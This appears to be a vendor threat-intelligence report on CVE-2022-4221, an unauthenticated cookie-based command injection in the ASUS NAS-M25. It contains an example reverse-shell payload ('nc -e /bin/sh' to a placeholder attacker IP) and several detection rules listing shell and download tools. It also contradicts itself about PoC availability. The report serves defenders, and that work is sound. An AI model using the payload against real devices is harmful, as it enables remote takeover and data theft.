CVE-2022-4221
Threat Intelligence Report: CVE-2022-4221
Executive Summary
CVE-2022-4221 is an unauthenticated OS command injection vulnerability affecting the ASUS NAS-M25 network-attached storage device through firmware version 1.0.1.7. The vulnerability arises from improper neutralization of special elements used in OS commands, specifically via unsanitized cookie values, allowing a remote unauthenticated attacker to execute arbitrary operating system commands on the underlying device. With a CVSS score of 9.8, this vulnerability is critical in severity, as it exposes the device to full remote compromise, data exfiltration, and potential use as a pivot point into the broader network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability is classified under CWE-78 (OS Command Injection) and stems from improper neutralization of special elements used in OS commands. The attack vector is the HTTP cookie header — values passed through cookies are not sanitized before being incorporated into commands executed at the operating system level. This is a command injection vulnerability that operates at the application layer but results in OS-level code execution.
The NAS-M25 is a network-attached storage device, which typically exposes a web-based management interface on port 80/443. The vulnerable component accepts cookie values as part of HTTP requests to the management interface. When the application builds operating system commands that reference these cookie values without proper sanitization, an attacker can inject shell metacharacters (e.g., semicolons, pipes, command substitution operators, or newline characters) to terminate the intended command and append arbitrary shell commands.
Notably, this vulnerability requires no authentication — the CNA description explicitly states that it allows "an unauthenticated attacker to inject arbitrary OS commands via unsanitized cookie values." This means the vulnerable code path is exposed before any authentication check, or the cookie used for injection is processed during the authentication attempt itself.
The affected version range is through 1.0.1.7, meaning all firmware versions up to and including 1.0.1.7 are vulnerable. This is a standalone NAS device (not an Asus router), which narrows the exposed attack surface but does not reduce the severity of a full compromise.
Technical detail availability: The NVD description does not specify the exact endpoint, cookie name, or command structure involved. The attack mechanism is described at the class level (OS command injection via cookie parameters). Insufficient technical detail is available regarding the specific implementation to identify precise function names or URL paths.
Exploitation Scenarios
The attack chain for this vulnerability proceeds as follows, inferred at the vulnerability-class level given the sparse description:
Step 1: Reconnaissance and Target Identification An attacker scans the internet (e.g., via Shodan) for exposed ASUS NAS-M25 devices by fingerprinting the web management interface. Targets are identified by device-specific banners, page titles, or default HTTP responses. Since the device is a NAS, targets are typically accessible on port 80 or 443 and are intended to be reachable remotely for file access, making them an attractive target.
Step 2: Triggering the Vulnerability The attacker crafts a series of HTTP requests to the NAS-M25 management interface. The attack does not require authentication. The attacker sends requests with crafted cookie header values containing OS command injection payloads. The injection payload includes shell metacharacters and OS commands appended to the cookie value. Because the application does not sanitize these cookie values before using them in an OS command, the injected payload is executed by the underlying operating system.
Step 3: Payload Execution
At the vulnerability-class level, the payload consists of shell metacharacters (e.g., ;, |, &&, backticks, or $(...)) that allow command chaining. An example payload in the cookie value would resemble: ; id; or | nc -e /bin/sh <attacker_IP> <port>. The injected command executes with the privileges of the web application process — typically root on embedded NAS devices, giving the attacker complete control.
Step 4: Post-Exploitation Impact Upon successful command injection, the attacker gains arbitrary command execution on the device. Post-exploitation vectors include:
- Data exfiltration: Reading and exfiltrating all data stored on the NAS volumes (typically private documents, media files, backups).
- Persistence: Installing a web shell or SSH backdoor, establishing persistent remote access.
- Lateral movement: Using the compromised NAS as a pivot point to attack internal networks if the device has access to additional network segments.
- Botnet recruitment: Enrolling the device into a botnet for DDoS or crypto-mining operations.
- Device defacement or destruction: Modifying firmware, wiping data, or rendering the device permanently bricked.
No public PoC has been identified; the attack chain is inferred from the vulnerability class. The EPSS score of 0.04803 with a 91.1 percentile ranking indicates this vulnerability is being actively analyzed and considered viable for exploitation in the wild.
Impact Assessment
The CVSS score of 9.8 (Critical) reflects a worst-case scenario: network-accessible, low attack complexity, no privileges required, no user interaction. The impact triad is fully realized — High Confidentiality, High Integrity, and High Availability impacts.
- Confidentiality: Full compromise allows data exfiltration of all NAS contents, including sensitive corporate documents, personal data, and backups.
- Integrity: An attacker can modify, delete, or encrypt data stored on the device (including ransomware scenarios targeting NAS data).
- Availability: Arbitrary command execution enables device bricking, denial-of-service through resource exhaustion, or disruption of storage services.
Business impact: For enterprise environments, a compromised NAS can expose protected health information (PHI), personally identifiable information (PII), trade secrets, or other regulated data, leading to compliance violations (GDPR, HIPAA, PCI-DSS). For Small Office/Home Office (SOHO) and individual users, the impact includes loss of personal data and potential lateral movement into home networks.
Blast radius: Given that the device is unauthenticated by design for certain web operations, the entire device is exposed. The firmware-level nature of the vulnerability (no patch available) means the blast radius extends to all NAS-M25 units in the field, including those already at the end of lifecycle with no expected support. The lack of a patch from ASUS compounds the issue; affected devices will likely remain vulnerable indefinitely.
Detection Guidance
The following detection rules leverage the network-level signature of cookie-based command injection attacks against embedded web interfaces.
Sigma Rule
title: ASUS NAS-M25 OS Command Injection via Cookie
id: 8f4d5c8a-3b2e-4f1d-8a7c-9e0d5c4b3a2f
status: experimental
description: Detects OS command injection attempts via HTTP Cookie headers targeting ASUS NAS-M25 devices
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4221
tags:
- attack.initial-access
- attack.t1190
- cve.2022-4221
logsource:
category: webserver
product: apache
detection:
selection_cookie_injection:
cs-method: 'POST' # or GET, depending on environment
cs-uri-extension:
- '*'
cs-cookie|contains:
- ';'
- '|'
- '&&'
- '`'
- '$(('
- '&'
selection_known_payloads:
cs-cookie|contains:
- ';id;'
- '|nc '
- '|ncat '
- ';cat /etc'
- '$(wget'
- 'wget '
- 'curl '
condition: selection_cookie_injection or selection_known_payloads
timespan: 15m # time window for correlation
level: high
falsepositives:
- Legitimate cookie values containing special characters (unlikely in standard cookie data)
- Normal web application operations that use semicolons in encoded cookie data
fields:
- clientip
- cs-cookie
- cs-uri-stem
- cs-method
YARA Rule
rule ASUS_NAS_M25_Command_Injection_Cookie
{
meta:
author = "Valterit Threat Intelligence"
description = "Detects payloads targeting CVE-2022-4221 ASUS NAS-M25 OS command injection via cookies"
cve = "CVE-2022-4221"
date = "2025-01-27"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-4221"
severity = "critical"
strings:
$s1 = /Cookie:\s*[^\r\n]*(;|\||&&|`|\$\(|>)/
$s2 = /Cookie:.*(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl|wget)/ nocase
$s3 = /(;|\||&&)\s*(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl)/ nocase
$s4 = /(\$\(|`)[^)]*(id|whoami|cat|wget|curl|nc|ncat)/ nocase
$s5 = /cookie.*\x3b.*(ping|wget|curl|nslookup|id|whoami)/ nocase
condition:
any of them
}
Suricata IDS Rule
alert http any any -> any any (
msg:"ET EXPLOIT ASUS NAS-M25 OS Command Injection via Cookie Header (CVE-2022-4221)";
flow:to_server;
content:"Cookie|3a|";
http_cookie;
pcre:"/\x3b\s*(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl)/Ui";
sid:20224221;
rev:1;
metadata:created_at 2025_01_27, updated_at 2025_01_27, cve CVE_2022_4221;
)
alert http any any -> any any (
msg:"ET EXPLOIT ASUS NAS-M25 OS Command Injection Cookie Pipe Character (CVE-2022-4221)";
flow:to_server;
content:"Cookie|3a|";
http_cookie;
pcre:"/\|\s*(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl)/Ui";
sid:20224222;
rev:1;
metadata:created_at 2025_01_27, cve CVE_2022_4221;
)
alert http any any -> any any (
msg:"ET EXPLOIT ASUS NAS-M25 OS Command Injection Command Substitution (CVE-2022-4221)";
flow:to_server;
content:"Cookie|3a|";
http_cookie;
pcre:"/\$\(\s*(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl)/Ui";
sid:20224223;
rev:1;
metadata:created_at 2025_01_27, cve CVE_2022_4221;
)
Elastic Detection
sequence by host.id with maxspan=30s
[network where destination.port == 80 or destination.port == 443]
[http where event.code == "http.request" or process.name == "httpd" and
(url.domain == "NAS-M25" or url.path contains "*" )]
[file where process.executable == "/bin/sh" and
(command_line contains ";" or command_line contains "|" or
command_line contains "`" or command_line contains "$(")]
// Alternative direct detection:
// Detect process spawn from web server child that executes shell commands
process where event.action == "exec" and
process.parent.name == "httpd" and
process.name in ("sh", "bash", "csh", "ksh") and
process.command_line : "*Cookie*" and
(process.command_line : "*;*" or process.command_line : "*|*" or
process.command_line : "*\`*" or process.command_line : "*$(*")
Splunk SPL Query
index=web sourcetype=access_combined http_cookie=*
| search http_cookie IN (*\;*, *|*, *$(*, *`*)
| regex http_cookie="(?i)(;|\||`|\$\().{0,50}\b(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl)\b"
| stats count by clientip, http_user_agent, http_cookie, uri_path,
_time span=15m
| where count > 2
| table _time, clientip, http_user_agent, http_cookie, uri_path, count
| sort -count
# Alternative detection on Linux/BSD host logs for web server process:
index=os host=nas* sourcetype=linux_syslog OR sourcetype=secure
| search process_executable="*httpd*" OR process_parent="*httpd*"
| search command IN (*;, *|, *$(*, *`*)
| regex command="(?i)(;|\||`|\$\().{0,150}(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash)"
| stats count by host, user, process_executable, command
| sort -count
Wazuh OSSEC Rule
<group name="local, web, wazuh,">
<rule id="106210" level="12" >
<if_sid>31100</if_sid>
<match>Cookie:|cookie</match>
<regex>(;|\||`|\$\().{0,80}\b(id|whoami|uname|cat|wget|curl|nc|ncat|sh|bash|python|perl|ping|nslookup)\b</regex>
<description>ASUS NAS-M25 OS Command Injection detected in cookie value (CVE-2022-4221)</description>
<group>attack.initial_access,attack.t1190,</group>
<mitre>
<id>T1190</id>
</mitre>
<field name="cve">CVE-2022-4221</field>
<options>no_full_log</options>
</rule>
<rule id="106211" level="10" >
<if_sid>31100</if_sid>
<match>;wget|;curl|;nc|;ncat|;id;|;whoami</match>
<description>Known ASUS NAS-M25 exploitation payload in HTTP request (CVE-2022-4221)</description>
<group>attack.initial_access,attack.t1190,</group>
<mitre>
<id>T1190</id>
</mitre>
<field name="cve">CVE-2022-4221</field>
</rule>
<rule id="106212" level="14" frequency="5" timeframe="60">
<if_matched_sid>106210</if_matched_sid>
<description>Repeated ASUS NAS-M25 exploitation attempts against single host (CVE-2022-4221)</description>
<group>attack.initial_access,</group>
<mitre>
<id>T1190</id>
</mitre>
<field name="cve">CVE-2022-4221</field>
<overwrite>yes</overwrite>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source
Immediate Mitigations
- Network isolation: Place NAS-M25 devices on a segregated network segment (VLAN) with strict firewall rules limiting remote access. Disable remote management interfaces if not strictly required.
- Access control: Restrict access to the device management interface to trusted IP addresses only (e.g., via Access Control Lists on the firewall). Do not expose the management interface to the internet.
- Disable unnecessary services: Disable all network services not in active use, including remote management protocols (e.g., telnet, SSH, SMB over WAN).
- Monitor device logs: Enable and continuously monitor device logs for unusual HTTP requests containing cookie injection patterns or unexpected process spawns.
- Interim alternative: If the device is end-of-life or cannot be patched, consider replacing it with a supported alternative device.
Patch/Upgrade Steps
- Check for firmware updates: Monitor the official ASUS support page for the NAS-M25 for any forthcoming firmware release. Currently, no patch is available as of the time of this report.
- Contact ASUS support: Reach out to ASUS technical support to request an ETA for a firmware fix and inquire about interim hardening guidance.
- If a patch becomes available: Apply the updated firmware immediately. Verify checksum/integrity of the firmware file before installation.
Long-Term Hardening
- Replace end-of-life hardware: If the NAS-M25 has reached end-of-life support, procure replacement hardware from a vendor with an active security maintenance program.
- Harden web management: Always change default credentials, disable guest access, and leverage HTTPS with strong cipher suites for all management traffic.
- Network segmentation: Maintain a strict network segmentation policy — IoT and storage devices should be on isolated VLANs with no direct Internet exposure.
- Patch management lifecycle: Establish and enforce a patch management process for all network-attached consumer/SOHO devices. Track CVE notifications and device support lifecycles.
- Consider a WAF: If the device must be exposed for legacy business reasons, deploy an inline Web Application Firewall (WAF) or reverse proxy that filters on cookie content for the specific injection patterns identified above.
- Backup and recovery: Maintain regular, encrypted backups of NAS contents to a separate location so that a potential compromise does not result in permanent data loss.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-4221
- CWE-78: https://cwe.mitre.org/data/definitions/78.html — OS Command Injection
- MITRE ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application
- ASUS Official Support: https://www.asus.com/support/ — (Check for NAS-M25 firmware advisories)
- First.org CVSS Calculator: https://www.first.org/cvss/calculator/3.1 — (Verify vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of the publication date of this report, no public CISA KEV entry exists for CVE-2022-4221, indicating no confirmed in-the-wild exploitation has been officially issued by CISA. No known threat actor campaigns have been publicly attributed to this CVE. The EPSS score of 0.04803 (91.1 percentile) reflects moderate exploitability assessment — this vulnerability is in the upper percentile of CVE exploitability probability, forecast to be exploited within the near term. The absence of public PoC and the device being a specialized NAS model may limit known exploitation campaigns; however, the lack of any patch makes exploitation inevitable once tooling becomes public.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.